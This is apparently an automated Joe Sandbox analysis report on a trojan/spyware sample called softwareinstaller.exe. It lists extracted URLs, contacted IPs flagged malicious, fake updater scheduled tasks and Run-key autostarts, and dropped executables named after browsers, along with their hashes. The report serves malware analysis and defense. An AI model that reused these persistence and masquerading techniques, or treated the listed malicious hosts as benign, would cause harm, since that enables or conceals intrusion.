http://tempuri.org/Entity/Id9	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id4	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id7	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://104.193.254.974	vbc.exe, 00000002.00000002.441080646.000000000696E000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.443772871.00000000069D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.entrust.net/rpa0	softwareinstaller.exe	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.idpminic.orgD8	vbc.exe, 00000002.00000002.462247931.0000000006CD6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.455026280.0000000006BB6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki.eset.com/crl/tsca2020.crl0?	softwareinstaller.exe	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	softwareinstaller.exe, softwareinstaller.exe, 00000000.00000002.240728236.0000000000D38000.00000004.00000001.01000000.00000003.sdmp, softwareinstaller.exe, 00000000.00000003.240524568.0000000000D72000.00000040.00001000.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org4	vbc.exe, 00000002.00000002.455487577.0000000006BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://104.193.254.97	vbc.exe, 00000002.00000002.443772871.00000000069D6000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.462592977.0000000006CEA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://tempuri.org/Entity/Id21	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.444092389.00000000069E8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.481659852.0000000007BB0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.466139499.00000000078C4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki.eset.com/crl/rootca2020.crl0?	softwareinstaller.exe	false		high
http://tempuri.org/Entity/Id12	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.entrust.net/rpa0	softwareinstaller.exe	false		high
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.440034607.0000000006923000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pki.eset.com/crt/csca2020.crt05	softwareinstaller.exe	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.437001232.0000000006891000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.idpminic.org	vbc.exe, 00000002.00000002.455487577.0000000006BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445066114.0000000006A24000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
51.195.77.248	unknown	France	16276	OVHFR	false
45.15.156.155	unknown	Russian Federation	39493	RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	true
172.66.43.60	api.peer2profit.com	United States	13335	CLOUDFLARENETUS	true
104.193.254.97	unknown	United States	14576	HOSTING-SOLUTIONSUS	false
66.235.200.147	idpminic.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	760446
Start date and time:	2022-12-05 06:43:08 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 28s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	softwareinstaller.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	68
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@98/24@7/5
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 96.6% (good quality ratio 82.9%) Quality average: 73.2% Quality standard deviation: 35.4%
HCA Information:	Successful, ratio: 100% Number of executed functions: 261 Number of non-executed functions: 94
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, SgrmBroker.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.12.31, 172.67.75.172, 104.26.13.31
Excluded domains from analysis (whitelisted): www.bing.com, api.ip.sb.cdn.cloudflare.net, fs.microsoft.com, ocsp.digicert.com, ctldl.windowsupdate.com
Execution Graph export aborted for target vbc.exe, PID 3076 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
06:44:25	API Interceptor	240x Sleep call for process: vbc.exe modified
06:44:34	Task Scheduler	Run new task: MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} path: C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
06:44:35	API Interceptor	1x Sleep call for process: brave.exe modified
06:44:38	API Interceptor	66x Sleep call for process: conchsvt.exe modified
06:44:38	API Interceptor	135x Sleep call for process: powershell.exe modified
06:44:39	Task Scheduler	Run new task: MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca} path: C:\Users\user\AppData\Local\Google\ofg.exe
06:44:42	API Interceptor	2x Sleep call for process: chrome.exe modified
06:44:46	Task Scheduler	Run new task: GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5} path: C:\Users\user\AppData\Local\Google\chrome.exe
06:45:02	Task Scheduler	Run new task: GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe} path: C:\Users\user\AppData\Local\Google\chrome.exe
06:45:03	API Interceptor	705x Sleep call for process: GoogleUpdate.exe modified
06:45:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Shell Extension C:\ProgramData\service.exe
06:45:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Shell Extension C:\ProgramData\service.exe
06:46:02	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
51.195.77.248	setup.exe	Get hash	malicious	Browse
51.195.77.248	0B1F6297E8BFA8FC9FF8A7AD85487FF456C0D66EF2D90.exe	Get hash	malicious	Browse
45.15.156.155	Hack loader.exe	Get hash	malicious	Browse
172.66.43.60	setup.exe	Get hash	malicious	Browse
	hZDPlQwZ9D.exe	Get hash	malicious	Browse
	cfBJlHsOsz.exe	Get hash	malicious	Browse
	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Et5O2B7DgL.exe	Get hash	malicious	Browse
	EK2JI99VDm.exe	Get hash	malicious	Browse
	xchUUtf3km.exe	Get hash	malicious	Browse
	a7sbIsZgQU.exe	Get hash	malicious	Browse
	KHGOzMiMEc.exe	Get hash	malicious	Browse
	NJD5jNzN1k.exe	Get hash	malicious	Browse
	YQ1u1r2mGC.exe	Get hash	malicious	Browse
	vPMLS1HVsL.exe	Get hash	malicious	Browse
	F9JyRaGSFC.exe	Get hash	malicious	Browse
	4EDB9CEDA2B49B682D3E30C4925610F81FFCC7D2B46A2.exe	Get hash	malicious	Browse
	1D9DD4AE9D1BA20DBF36549110C16150525122F3AA7FD.exe	Get hash	malicious	Browse
	CE349E565197AA1AFAF25F21B5CDBB80880B96B34800F.exe	Get hash	malicious	Browse
	1A292CC8DA0DBDC4608018679F60E2EEB070C06374FDD.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
api.peer2profit.com	setup.exe	Get hash	malicious	Browse	172.66.43.60
	hZDPlQwZ9D.exe	Get hash	malicious	Browse	172.66.43.60
	cfBJlHsOsz.exe	Get hash	malicious	Browse	172.66.43.60
	FKN6uh7y01.exe	Get hash	malicious	Browse	172.66.40.196
	6iWK0k820U.exe	Get hash	malicious	Browse	172.66.43.60
	SecuriteInfo.com.Trojan.Siggen18.63785.2847.13207.exe	Get hash	malicious	Browse	172.66.40.196
	RTKnv6MTnw.exe	Get hash	malicious	Browse	172.66.43.60
	Mvt8bzQ4Je.exe	Get hash	malicious	Browse	172.66.40.196
	E3BaMFIxln.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.40.196
	file.exe	Get hash	malicious	Browse	172.66.40.196
	fbRudpXdRE.exe	Get hash	malicious	Browse	172.66.40.196
	Et5O2B7DgL.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.43.60
	EK2JI99VDm.exe	Get hash	malicious	Browse	172.66.40.196
	LTxl97QUra.exe	Get hash	malicious	Browse	172.66.40.196

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
OVHFR	file.exe	Get hash	malicious	Browse	5.135.247.111
	SecuriteInfo.com.Win64.Evo-gen.7869.12301.exe	Get hash	malicious	Browse	51.195.62.160
	file.exe	Get hash	malicious	Browse	5.135.247.111
	NQ1pI3UJai.elf	Get hash	malicious	Browse	192.99.166.76
	SecuriteInfo.com.Trojan.DownloaderNET.345.13381.27886.exe	Get hash	malicious	Browse	5.39.10.93
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	151.80.89.227
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
RU-KSTVKolomnaGroupofcompaniesGuarantee-tvRU	N2wufLmC74.exe	Get hash	malicious	Browse	45.15.157.131
	rvpBkEpg9B.exe	Get hash	malicious	Browse	45.15.156.46
	file.exe	Get hash	malicious	Browse	45.15.156.105
	Hack loader.exe	Get hash	malicious	Browse	45.15.156.155
	C917D90496CA8EB7B379CFAB376823FA0AC2CE50DA673.exe	Get hash	malicious	Browse	45.15.156.18
	build.exe	Get hash	malicious	Browse	45.15.156.113
	build.exe	Get hash	malicious	Browse	45.15.156.113
	atJ5rPi1uy.exe	Get hash	malicious	Browse	45.15.156.60
	rKzrW0hHEV.exe	Get hash	malicious	Browse	45.15.156.38
	etZOb4GUfc.exe	Get hash	malicious	Browse	45.15.157.9
	T39YqduDPe.exe	Get hash	malicious	Browse	45.15.157.135
	hXJzCuAg64.exe	Get hash	malicious	Browse	45.15.157.135
	Setup.exe	Get hash	malicious	Browse	45.15.156.120
	3TDTfPfezS.exe	Get hash	malicious	Browse	45.15.157.0
	file.exe	Get hash	malicious	Browse	45.15.156.105
	launcher.vmp.exe	Get hash	malicious	Browse	45.15.156.22
	launcher.vmp.exe	Get hash	malicious	Browse	45.15.156.22
	444.exe	Get hash	malicious	Browse	45.15.156.22
	444.exe	Get hash	malicious	Browse	45.15.156.22
	VcpMrW6L85.exe	Get hash	malicious	Browse	45.15.156.86

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	1234.html	Get hash	malicious	Browse	172.66.43.60
	OUTSTANDING PI770100059 SOA OCT 2022.IMG	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	zg3kxcPPFR.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	Benefits_Enrollment.shtml	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	Halkbank_Ekstre_20221201_081244_137027,PDF.exe	Get hash	malicious	Browse	172.66.43.60
	dieYRmdFfm.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	NhqwPW3V4T.exe	Get hash	malicious	Browse	172.66.43.60
	uCmBP1cUyY.exe	Get hash	malicious	Browse	172.66.43.60
	ekstre_2212010064088700.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60
	rvpBkEpg9B.exe	Get hash	malicious	Browse	172.66.43.60
	file.exe	Get hash	malicious	Browse	172.66.43.60

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files\Google\Chrome\updater.exe	N2wufLmC74.exe	Get hash	malicious	Browse
	setup.exe	Get hash	malicious	Browse
	hZDPlQwZ9D.exe	Get hash	malicious	Browse
	cfBJlHsOsz.exe	Get hash	malicious	Browse
	FKN6uh7y01.exe	Get hash	malicious	Browse
	6iWK0k820U.exe	Get hash	malicious	Browse
	E3BaMFIxln.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Loader.exe	Get hash	malicious	Browse
	AJ46HzaAxk.exe	Get hash	malicious	Browse
	Installer.exe	Get hash	malicious	Browse
	ndkqXR67bn.exe	Get hash	malicious	Browse
	NCVVe1Xqfs.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884609
Entropy (8bit):	7.915812566955318
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	EB27BB8CFA99D659E4FE023E9002ECD1
SHA1:	C783400302FDFAE0518269C5A5A8D4BAD29F42A3
SHA-256:	9C01D90543458567C4737731EE6754CC209E4BB78FF648EB75C4D23BE261EF2F
SHA-512:	AB5AD3C094ED1F094AA82D80D298E6D0AB15A94B58B007DBE8A6219FE8498569B5D9013D770BD9910F177F94F2639D84650655E8F60113051E98B386C49C36A2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
Joe Sandbox View:	Filename: N2wufLmC74.exe, Detection: malicious, Browse Filename: setup.exe, Detection: malicious, Browse Filename: hZDPlQwZ9D.exe, Detection: malicious, Browse Filename: cfBJlHsOsz.exe, Detection: malicious, Browse Filename: FKN6uh7y01.exe, Detection: malicious, Browse Filename: 6iWK0k820U.exe, Detection: malicious, Browse Filename: E3BaMFIxln.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Loader.exe, Detection: malicious, Browse Filename: AJ46HzaAxk.exe, Detection: malicious, Browse Filename: Installer.exe, Detection: malicious, Browse Filename: ndkqXR67bn.exe, Detection: malicious, Browse Filename: NCVVe1Xqfs.exe, Detection: malicious, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\brave.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2884608
Entropy (8bit):	7.915813410181377
Encrypted:	false
SSDEEP:	49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5:	9253ED091D81E076A3037E12AF3DC871
SHA1:	EC02829A25B3BF57AD061BBE54180D0C99C76981
SHA-256:	78E0A8309BC850037E12C2D72A5B0843DCD8B412A0A597C2A3DCBD44E9F3C859
SHA-512:	29FF2FD5F150D10B2D281A45DF5B44873192605DE8DC95278D6A7B5053370E4AC64A47100B13C63F3C048DF351A9B51F0B93AF7D922399A91508A50C152E8CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 85%
